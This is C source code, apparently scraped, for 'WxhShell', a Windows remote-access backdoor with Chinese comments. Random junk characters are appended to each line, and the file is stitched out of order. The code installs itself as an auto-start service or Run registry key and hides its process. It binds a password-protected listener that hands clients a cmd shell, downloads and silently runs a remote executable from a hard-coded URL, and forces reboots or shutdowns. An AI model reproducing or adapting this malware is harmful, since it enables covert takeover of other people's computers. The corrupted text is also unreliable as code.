    send(wsh,msg_ws_err,strlen(msg_ws_err),0); znl_~:.4]X  
    else { Tx'ctd#Y  
    closesocket(wsh); N$SJK  
    ExitThread(0); h8lI# Gs  
    } pe1_E KU  
    break; B 8ycr~  
    } j L[ hB  
  // 获取shell J6Q}a7I#  
  case 's': { DfQD!}=  
    CmdShell(wsh); d(-$ { c  
    closesocket(wsh); |6.1uRFE2  
    ExitThread(0); a \PvRW*I  
    break; )c$)am\I{  
  } >av.pJ(>  
  // 退出 /Aq):T T  
  case 'x': { "gPAxt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ooSMp|  
    CloseIt(wsh); 1"82JN|!  
    break; M%NapK  
    } _("&jfn  
  // 离开 ?w[M{   
  case 'q': { YQ+Kl[ec  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `b{.K,  
    closesocket(wsh); KVrK:W--p  
    WSACleanup(); mTW@E#)n  
    exit(1); `1[GY){?)  
    break; bu2'JIDR  
        } t[ZumQ@HC  
  } !F|iL  
  } 5vso%}c  
FiQx5}MMhu  
  // 提示信息 5E+k}S]M$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KQ x<{-G6  
} K{&b "Ba1  
  } 42m}c1R  
/j1p^=ARV  
  return; $Di2B A4Di  
} Y%V|M0 0`  
d">Ya !W  
// shell模块句柄 9$xEktfV  
int CmdShell(SOCKET sock) 7BX%z$_)A  
{ e]+ [lq\p@  
STARTUPINFO si; c[Mz#BWG  
ZeroMemory(&si,sizeof(si)); (Rc 0l;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U "qO&;m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ z!0ab  
PROCESS_INFORMATION ProcessInfo; 'd"\h#  
char cmdline[]="cmd"; X&<#3n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d%istFL)  
  return 0; N3};M~\  
} Mlpq2I_x  
_5nQe !  
// 自身启动模式 "F+Wo&  
int StartFromService(void) Yb|zE   
{ %V$ujun`  
typedef struct N!fp;jvG  
{ KcB  ?[  
  DWORD ExitStatus; T'*.LpNP,  
  DWORD PebBaseAddress; o^Y'e+T"  
  DWORD AffinityMask; mP)<;gm,  
  DWORD BasePriority; pr-{/6j6  
  ULONG UniqueProcessId; +M\*C#  
  ULONG InheritedFromUniqueProcessId; ] 05Q4  
}   PROCESS_BASIC_INFORMATION; 1?(mE7H#  
e;=G|E  
PROCNTQSIP NtQueryInformationProcess; b* 6c.  
NRKAEf_#w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R $cO`L*s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pc]c8~  
Kg@9kJB  
  HANDLE             hProcess; Oz9k.[j(  
  PROCESS_BASIC_INFORMATION pbi; ubhem(p#  
oh;F]*k6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b>%I=H%g  
  if(NULL == hInst ) return 0; ^3`98y.Q  
qi7wr\XNW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O'."ca]:5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?.A6HrAPB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )`rC"N)  
=*'X  
  if (!NtQueryInformationProcess) return 0; $Mx.8FC +  
kmW!0hm;e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lb1(1 |#  
  if(!hProcess) return 0; \Mlj 7.u]  
_<.R\rX&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q<JI!n1O  
y|KDh'Y  
  CloseHandle(hProcess); ^ d"tymDd  
(6\A"jey\x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xiRTp:>  
if(hProcess==NULL) return 0; 6x@-<{L  
1&YP}sg)  
HMODULE hMod; ? =IbiT  
char procName[255]; -T{~m6  
unsigned long cbNeeded; gr=ke #   
hJ:Hv.{`)W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p,D/ Pb8  
yB. 6U56  
  CloseHandle(hProcess); McnP>n  
kX1hcAa  
if(strstr(procName,"services")) return 1; // 以服务启动 t*Q12Q  
fWm;cDM H  
  return 0; // 注册表启动 wq]nz!  
} l!iB -?'u  
dl{3fldb  
// 主模块 L761m7J]B  
int StartWxhshell(LPSTR lpCmdLine) lQ+-g#`  
{ >5 5/@+^  
  SOCKET wsl; Q)a*bPz  
BOOL val=TRUE; *pasI.2s#  
  int port=0; iCx'`^HnP  
  struct sockaddr_in door; Q}2w~Cn\S  
vJq`l3&  
  if(wscfg.ws_autoins) Install(); T  |j^  
OClY ,@  
port=atoi(lpCmdLine); Eun%uah6c  
q>omCk%h  
if(port<=0) port=wscfg.ws_port; |J}~a8o  
3\@6i'  
  WSADATA data; [1vrv(u>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NM]6  o  
I3s}t$`y(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8'cDK[L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3YT _GW{  
  door.sin_family = AF_INET; 'ZDa*9nkF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eB]ZnJ2^=  
  door.sin_port = htons(port); E 0oJ|My  
^$#Q_Y|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ac&tpvij  
closesocket(wsl); 2=3iA09px  
return 1; E>V8|Hz;  
} 5!cplx=<  
`aI%laj&M  
  if(listen(wsl,2) == INVALID_SOCKET) { "{0kg'fU  
closesocket(wsl); 9Pb0Olh  
return 1; vOP[ND=T  
} ohh 1DsB  
  Wxhshell(wsl); OQsH,'  
  WSACleanup(); cA Lu  
RZ.5:v6  
return 0; )US) -\^  
Aio0++ r-  
} "iydXV=Q  
vMI\$E &  
// 以NT服务方式启动 dvj`%?=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q%>,5(_V]  
{ '/p5tw8  
DWORD   status = 0; l`u*,"$  
  DWORD   specificError = 0xfffffff; eeX)JC0A  
(p2a{v}fEz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w\QpQ~OX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [,e_2<   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4i19HD_  
  serviceStatus.dwWin32ExitCode     = 0; 5y~[2jB:  
  serviceStatus.dwServiceSpecificExitCode = 0; UmJg-~  
  serviceStatus.dwCheckPoint       = 0; B=p'2lla  
  serviceStatus.dwWaitHint       = 0; ><DE1tG  
a[JgR/E@x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P~*fZ)\}F@  
  if (hServiceStatusHandle==0) return; qj/P4*6E  
~\_E%NR yA  
status = GetLastError(); :dj@i6  
  if (status!=NO_ERROR) 1h"B-x  
{  ~.Gk:M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f[ywC$en  
    serviceStatus.dwCheckPoint       = 0; p*'?(o:=  
    serviceStatus.dwWaitHint       = 0; "h#=ctCx"  
    serviceStatus.dwWin32ExitCode     = status; F`N*{at  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2-6-kS)c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O|/tRkDMP{  
    return; lDA%M3(p  
  } i}YnJ  
{!4%Z9G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yk5kC 0B  
  serviceStatus.dwCheckPoint       = 0; lV 1|\~?4  
  serviceStatus.dwWaitHint       = 0; MWuVV=rd8a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "N;|~S)w!  
} S,v`rmI  
&V ;a:  
// 处理NT服务事件,比如:启动、停止 .6hH}BM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mu%'cwp$  
{ 4H:WpW*r  
switch(fdwControl) BKTsc/v2>:  
{  e?7paJ  
case SERVICE_CONTROL_STOP: K XGs'D  
  serviceStatus.dwWin32ExitCode = 0; nk{1z\D{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *!Dzst-J3  
  serviceStatus.dwCheckPoint   = 0; ubQ(O uM"  
  serviceStatus.dwWaitHint     = 0; ;CrA  
  { %|I|Mc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t Z%?vY~!  
  } jL8zH  
  return; tEUmED0FY  
case SERVICE_CONTROL_PAUSE: f0F$*"#G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F, "x~C  
  break; DjKjEZHgM  
case SERVICE_CONTROL_CONTINUE: +EB# #  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bODl q  
  break; uu:)jxi  
case SERVICE_CONTROL_INTERROGATE: Dn[1BWM/7  
  break; `4=b|N+b"  
}; $1v5*E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (X9V-4  
} ![ QQF|  
=bDG|:+  
// 标准应用程序主函数 "OPUGwf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =~h54/#[I  
{ >g[W@FhT'k  
kpdFb7>|  
// 获取操作系统版本 ^ WNJQg'  
OsIsNt=GetOsVer(); A=$oYBB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W)#`4a^xj7  
5c"kLq6r  
  // 从命令行安装 E;qwoTmul  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1bBK1Uw  
JvDsr0]\#  
  // 下载执行文件 WdT|xf.Q&  
if(wscfg.ws_downexe) { _(hwU>.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vf2K2\fn  
  WinExec(wscfg.ws_filenam,SW_HIDE); |(S W  
} (Y>MsqwWfC  
xR:h^S^W ~  
if(!OsIsNt) { (yP55PC O$  
// 如果时win9x,隐藏进程并且设置为注册表启动 3\{Sf /#  
HideProc(); ,B2 -'O  
StartWxhshell(lpCmdLine); zgqw*)C~  
} P5>CSWy%  
else TI>yi ^}  
  if(StartFromService()) tX251S  
  // 以服务方式启动 @>Keu\)  
  StartServiceCtrlDispatcher(DispatchTable); x}{VHp`|ld  
else h,x]  
  // 普通方式启动 fDd!Mt  
  StartWxhshell(lpCmdLine); gNwXOd u  
(5> ibe  
return 0; sYXS#;|M  
} e@OA>  
lQ/XJw  
`y}d)"!  
q8Dwu3D  
=========================================== i7rq;t<  
9QMn%8=j  
2An`{')  
Bt,Xe~$z-  
qN@a<row&~  
o!~bR  
" to3J@:V8e  
d<'xpdxc  
#include <stdio.h> A-5 +#  
#include <string.h> +&OqJAu  
#include <windows.h> spJ(1F{|V  
#include <winsock2.h> .jp]S4~  
#include <winsvc.h> \#aVu^`eX  
#include <urlmon.h> ?^~"x.<nr  
E0Q"qEvU  
#pragma comment (lib, "Ws2_32.lib") R(sM(x5a`  
#pragma comment (lib, "urlmon.lib") 0?SLRz8  
er0D5f R  
#define MAX_USER   100 // 最大客户端连接数 yf)`jPM1<  
#define BUF_SOCK   200 // sock buffer $VWzv4^:  
#define KEY_BUFF   255 // 输入 buffer 0>iFXw:fn  
3J T3;O  
#define REBOOT     0   // 重启 U[b;#Y1X  
#define SHUTDOWN   1   // 关机 _m],(J=,z  
(x qA.(F  
#define DEF_PORT   5000 // 监听端口 Jj:6 c  
\w^QHX1+  
#define REG_LEN     16   // 注册表键长度 FRFAWK<  
#define SVC_LEN     80   // NT服务名长度 AiZFvn[n8  
X:lPWz!7{  
// 从dll定义API Net)l@IB]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W(h8!}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .gGvyscdH;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T3./V0]\I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8[)]3K x  
6#M0AG  
// wxhshell配置信息 -vHr1I<  
struct WSCFG { 7 Zt\G-QV  
  int ws_port;         // 监听端口 gvNZrp>e!  
  char ws_passstr[REG_LEN]; // 口令 -j_I_  
  int ws_autoins;       // 安装标记, 1=yes 0=no :(>9u.>l?5  
  char ws_regname[REG_LEN]; // 注册表键名 -l H>8+  
  char ws_svcname[REG_LEN]; // 服务名 | ",[C3Jg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xGfD z*t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 87KrSZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c^O#O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z,FTsR$x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _I_?k+#WFe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /;AZ/Ocy!  
V<4+g/  
}; i ,pN1_-  
O[)]dD&'  
// default Wxhshell configuration cmhN(==  
struct WSCFG wscfg={DEF_PORT, eJw="  
    "xuhuanlingzhe", [fi'=Cb  
    1, `uh@iD'KI  
    "Wxhshell", |<-F|v9og  
    "Wxhshell", <{420  
            "WxhShell Service", rAWl0y_m  
    "Wrsky Windows CmdShell Service", +RV-VrV  
    "Please Input Your Password: ", S tnv>  
  1, K3:|Tc(  
  "http://www.wrsky.com/wxhshell.exe", T_?nd T2  
  "Wxhshell.exe" QZ3(u<f  
    }; HDVl5X`j'  
fu<2t$Cn>  
// 消息定义模块 `E5"Pmg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sD8 m<   
char *msg_ws_prompt="\n\r? for help\n\r#>"; NOr <,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]A72) 1  
char *msg_ws_ext="\n\rExit."; ^qO=~U!{  
char *msg_ws_end="\n\rQuit."; !UoU#YU  
char *msg_ws_boot="\n\rReboot..."; Zknewv*sS4  
char *msg_ws_poff="\n\rShutdown..."; Hp}  
char *msg_ws_down="\n\rSave to "; PKR $I  
}l( m5  
char *msg_ws_err="\n\rErr!"; 6WN(22Io  
char *msg_ws_ok="\n\rOK!"; j- YJ."  
/J.\p/%\  
char ExeFile[MAX_PATH]; 6lmiMU&V  
int nUser = 0; q^1aPz  
HANDLE handles[MAX_USER]; $tCcjBK\  
int OsIsNt; 4su_;+]  
s`=/fvf.  
SERVICE_STATUS       serviceStatus; ~r^5-\[hZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MJ*]fC3/  
]hE +$sKd  
// 函数声明 .S!>9X,  
int Install(void); 5m^Hi} S _  
int Uninstall(void); 4b2mtLn_  
int DownloadFile(char *sURL, SOCKET wsh); Mf:M3H%YV+  
int Boot(int flag); BKQIo)g.G  
void HideProc(void); /Y[o=Uyl  
int GetOsVer(void); -nk#d%a\  
int Wxhshell(SOCKET wsl); TcD[Teu  
void TalkWithClient(void *cs); 8.CKH4h  
int CmdShell(SOCKET sock); f[Fgh@4cj  
int StartFromService(void); )W]>\=@Y  
int StartWxhshell(LPSTR lpCmdLine); N pXgyD  
wfDp,T3w7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lMwk.#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [.;%\>Qk<  
Kr/h`RM  
// 数据结构和表定义 8nIMZV  
SERVICE_TABLE_ENTRY DispatchTable[] = ^+.t-3|U  
{ OyJsz]b} M  
{wscfg.ws_svcname, NTServiceMain},  .3a:n\tY  
{NULL, NULL} .6#cDrK  
}; /z1p/RiX  
`M?v!]o  
// 自我安装 e)HhnN@  
int Install(void) 1iJ0Hut}d  
{ o)tKH@`vE  
  char svExeFile[MAX_PATH]; ,$h(fM8GC  
  HKEY key; p9AZ9xr  
  strcpy(svExeFile,ExeFile); ]D LZ&5pv  
K lli$40  
// 如果是win9x系统,修改注册表设为自启动 "[*S?QO(L  
if(!OsIsNt) { 3J'73)y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LAv:+o(m/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mPs%ZC  
  RegCloseKey(key); m!5HRjOO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4jX@m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %1\v7Xw{9  
  RegCloseKey(key); .!yWF?T8  
  return 0; V(;55ycr  
    } m7r j>X Y  
  } =`qRu  
} #%? FM>  
else { #)^^_  
]8$#qDS@  
// 如果是NT以上系统,安装为系统服务 rH$eB/#F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =[]x\&@t  
if (schSCManager!=0) L#`2.nU  
{ EI1W .V>@  
  SC_HANDLE schService = CreateService [)#u<lZ<~  
  ( e9CP802#2  
  schSCManager, ^W Y8-6  
  wscfg.ws_svcname, 0A#*4ap  
  wscfg.ws_svcdisp, & u$(NbK  
  SERVICE_ALL_ACCESS, vG]GQ#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x37/cu  
  SERVICE_AUTO_START, s0cs'Rg  
  SERVICE_ERROR_NORMAL, o 'C~~Vg).  
  svExeFile, t=n+3`g  
  NULL, ud0QZ X  
  NULL, {TyCj?3B  
  NULL, 1.'(nKoq  
  NULL, WD15pq l  
  NULL iH-bo@  
  ); 2E$^_YT C  
  if (schService!=0) >=if8t!  
  { 2E^"r jLm  
  CloseServiceHandle(schService); )]%e  
  CloseServiceHandle(schSCManager); JY{X,?s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tg~A}1o`0  
  strcat(svExeFile,wscfg.ws_svcname); 7\IL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j~Q}F|i8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A LXUaE.  
  RegCloseKey(key); Q  |  
  return 0; t]s94 R q  
    } JOBz{;:R{  
  } r5o@+"!  
  CloseServiceHandle(schSCManager); Iq{o-nq  
} ,-@xq.D  
} 807al^s x  
bqSMDK  
return 1; oJ^C]E  
} 1p8:.1)q  
;0IvF#SJ(.  
// 自我卸载 `9/0J-7*  
int Uninstall(void) oP/>ju  
{ :<L5sp  
  HKEY key; ]?[zx'|  
2(pLxVl  
if(!OsIsNt) { R]Hz8 _X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yahAD.Xuo@  
  RegDeleteValue(key,wscfg.ws_regname); R.K?  
  RegCloseKey(key); Hi^35  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *oCxof9JA  
  RegDeleteValue(key,wscfg.ws_regname); rfYP*QQY  
  RegCloseKey(key); /vHYM S  
  return 0; d$pYo)8o({  
  } ^f9>l;Lb  
} p"2m90IO  
} Cl,9yU)1n  
else { elu=9d];@  
)1WMlG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^w.]Hd 2  
if (schSCManager!=0) w&%9IJ  
{ sa*g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gNqAj# m  
  if (schService!=0) alFNSRY  
  { le.anJAr  
  if(DeleteService(schService)!=0) { :vpl+)n  
  CloseServiceHandle(schService); tZbFvk2  
  CloseServiceHandle(schSCManager); 6,X+1EXY  
  return 0; 'xIyGDe  
  } c S4DN  
  CloseServiceHandle(schService); x|8^i6xB  
  } I_ONbJ9]  
  CloseServiceHandle(schSCManager); d PsLZ"I  
} /jM_mrpz  
} i0>]CJG  
!$_~x 8K1-  
return 1; 0LdJZP  
} F>*{e  
+~N!9eMc  
// 从指定url下载文件 =~&VdPZ  
int DownloadFile(char *sURL, SOCKET wsh) vB.l0!c\e_  
{ [@//#}5v  
  HRESULT hr; zVw:7-  
char seps[]= "/"; Or7 mD  
char *token; &=X.*H%  
char *file; |jsb@  
char myURL[MAX_PATH]; uAUp5XP|Z  
char myFILE[MAX_PATH]; S`0NPGn;@[  
9YD\~v;x  
strcpy(myURL,sURL); eeM?]J-  
  token=strtok(myURL,seps); 8] `Ru5nd  
  while(token!=NULL) /2xSNalC  
  { :|rPT)yT]  
    file=token; )n>+m|IqY(  
  token=strtok(NULL,seps); YlTaN,?j  
  } b?8)7.{F{  
1fH<VgF`  
GetCurrentDirectory(MAX_PATH,myFILE); sef]>q  
strcat(myFILE, "\\"); /N6}*0Ru  
strcat(myFILE, file); Xd3}Vn=  
  send(wsh,myFILE,strlen(myFILE),0); $#e1SS32  
send(wsh,"...",3,0); 0]B(a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?^}_j vT  
  if(hr==S_OK) +>SRrIi  
return 0; V^TbP.  
else f"dSr  
return 1; s3:9$.tiR[  
O(c@PJem  
} $5NKFJc  
py @( <  
// 系统电源模块 l(!/Q|Q|  
int Boot(int flag) kJT+  
{ i7w(S3a  
  HANDLE hToken; H}/05e  
  TOKEN_PRIVILEGES tkp; Wpr ,j N8b  
uR$i48}  
  if(OsIsNt) { rQb7?O@-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -R b{^/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _[t8rl  
    tkp.PrivilegeCount = 1; ?T!)X)A#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yz8jU*H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F'FP0t!S  
if(flag==REBOOT) { O6X"RsI}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C h19h8M  
  return 0; 1& ^?U{  
} +.kfU)6@  
else {  U>a\j2I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jxa4hM0  
  return 0; Yf}xwpuLk  
} *z8|P#@  
  } 0^3+P%(o@  
  else { \~~}N4  
if(flag==REBOOT) { sILSey5`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 02=lsV!U  
  return 0; r@kP*  
} |ZiC`Nt  
else { %S \8.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x`%JI=q  
  return 0; S\=1_LDx"  
} -1u9t4+`  
} .4-,_`T?  
>/=> B7  
return 1; ]rN#B-aAr  
} R[jEvyD>(  
&%mXYj3y5  
// win9x进程隐藏模块 !RH.|}  
void HideProc(void) {<=#*qx[Y!  
{ />44]A<  
,|h)bg7.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2VGg 6%  
  if ( hKernel != NULL ) U*)m' ,  
  { oD.r `]k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bd~1P/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T.m mmT  
    FreeLibrary(hKernel); k[kju%i4  
  } ._PzYE|m2  
~}"]&%Q{J  
return; ?LK 2g  
} [yS#O\$'e  
\ck+GW4&  
// 获取操作系统版本 (Pbg[AY  
int GetOsVer(void) y3G `>  
{ T'H::^9:E  
  OSVERSIONINFO winfo; n, i'Dhzk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5ZY<JA3  
  GetVersionEx(&winfo); ,9D+brm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _O"mfXl6  
  return 1; ep/Y^&$M  
  else rXfy!rD_P_  
  return 0; 7msAhz  
} >>{FzR  
%9oYw9 H!  
// 客户端句柄模块 O1'm@ q)  
int Wxhshell(SOCKET wsl) 2lVHZ\G  
{ 36.N>G,  
  SOCKET wsh; JW.=T)  
  struct sockaddr_in client; 9f+>ix,ek*  
  DWORD myID; C3NdE_E  
\ZU1J b1c  
  while(nUser<MAX_USER) umi5Wb<  
{ s?R2B)a  
  int nSize=sizeof(client); u8GMUN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cWyW~Ek  
  if(wsh==INVALID_SOCKET) return 1; `n5"0QRd  
@&|l^ 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *+)AqKP\Kv  
if(handles[nUser]==0) XolZonJr  
  closesocket(wsh); f"1>bW>R+  
else A][fLlpr  
  nUser++; ?';OD3-  
  } )Gw~XtB2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mtz#}qD66  
PjA6Ji;Hu  
  return 0; *^%Q0mU[  
} I/gjenUK  
 -!W<DJ*  
// 关闭 socket 9}a_:hAy/  
void CloseIt(SOCKET wsh) O3DmNq$dz  
{ 3"n\8#X{  
closesocket(wsh); fjk\L\1  
nUser--; ~w8JH2O  
ExitThread(0); ,<BbpIQ2o  
} *}k;L74|  
YQJ==C1  
// 客户端请求句柄 yeDsJ/L  
void TalkWithClient(void *cs) ^V$Ajt  
{ ivDGZI9  
. 8N.l^0,  
  SOCKET wsh=(SOCKET)cs; FIxFnh3~  
  char pwd[SVC_LEN]; ]I3!fEAWR  
  char cmd[KEY_BUFF]; ,C%eBna4Iq  
char chr[1]; EI!6MC)  
int i,j; Um#Wu]i  
MUfG?r\t  
  while (nUser < MAX_USER) { Q'_z<V  
tyaA\F57  
if(wscfg.ws_passstr) { FFdBtB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b4^`DHRu6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;q N+^;,2  
  //ZeroMemory(pwd,KEY_BUFF); E|'h]NY  
      i=0; M@0;B30L  
  while(i<SVC_LEN) { )jrV#/m9  
/|6;Z}2  
  // 设置超时 g~(E>6Y  
  fd_set FdRead; 3bnS W5  
  struct timeval TimeOut; jReXyRmo({  
  FD_ZERO(&FdRead); Xp0F [>h  
  FD_SET(wsh,&FdRead); 34\(7JO  
  TimeOut.tv_sec=8; p-.n3AL  
  TimeOut.tv_usec=0; !uQPc   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a5a($D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Reatd h  
9]q:[zm^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &gzCteS  
  pwd=chr[0]; e[hcJz!D  
  if(chr[0]==0xd || chr[0]==0xa) { `{qG1  
  pwd=0; [JF150zr  
  break; R<OI1,..r  
  } sc,Xw:YO  
  i++; Um&(&?Xf  
    } J9~ g|5  
{e|[%reSkg  
  // 如果是非法用户,关闭 socket Z+@2"%W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E Cyyl  
} U8 nH;}i  
+TXX$)3%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KtNY_&xd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r Tz$^a}/  
w*R$o  
while(1) { zc[Si bT  
LD!Q8"  
  ZeroMemory(cmd,KEY_BUFF); GvBHd%Ot  
6? w0  
      // 自动支持客户端 telnet标准   +SwR+H)?  
  j=0; JQ"U4GVp  
  while(j<KEY_BUFF) { iX)%Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5LOo8xN  
  cmd[j]=chr[0]; ,c NLkoN  
  if(chr[0]==0xa || chr[0]==0xd) { KZ/=IP=  
  cmd[j]=0; K'GBMnjD  
  break; /~3r;M  
  } H)n9O/u  
  j++; aA,!<^&}  
    } 'q`^3&E  
cFJY^A  
  // 下载文件 E~6c-Lw  
  if(strstr(cmd,"http://")) { vh$%9ed  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %f]:I  
  if(DownloadFile(cmd,wsh)) 9Q"'" b*?z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >3Eo@J,?d  
  else I"GB <oB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EVGt 5z  
  } _fKou2$yz  
  else { bD?VU<)3  
ml+; Rmvb  
    switch(cmd[0]) { #)nSr  
  aeD;5VV  
  // 帮助 sfNE68I2  
  case '?': { !4X f~P  
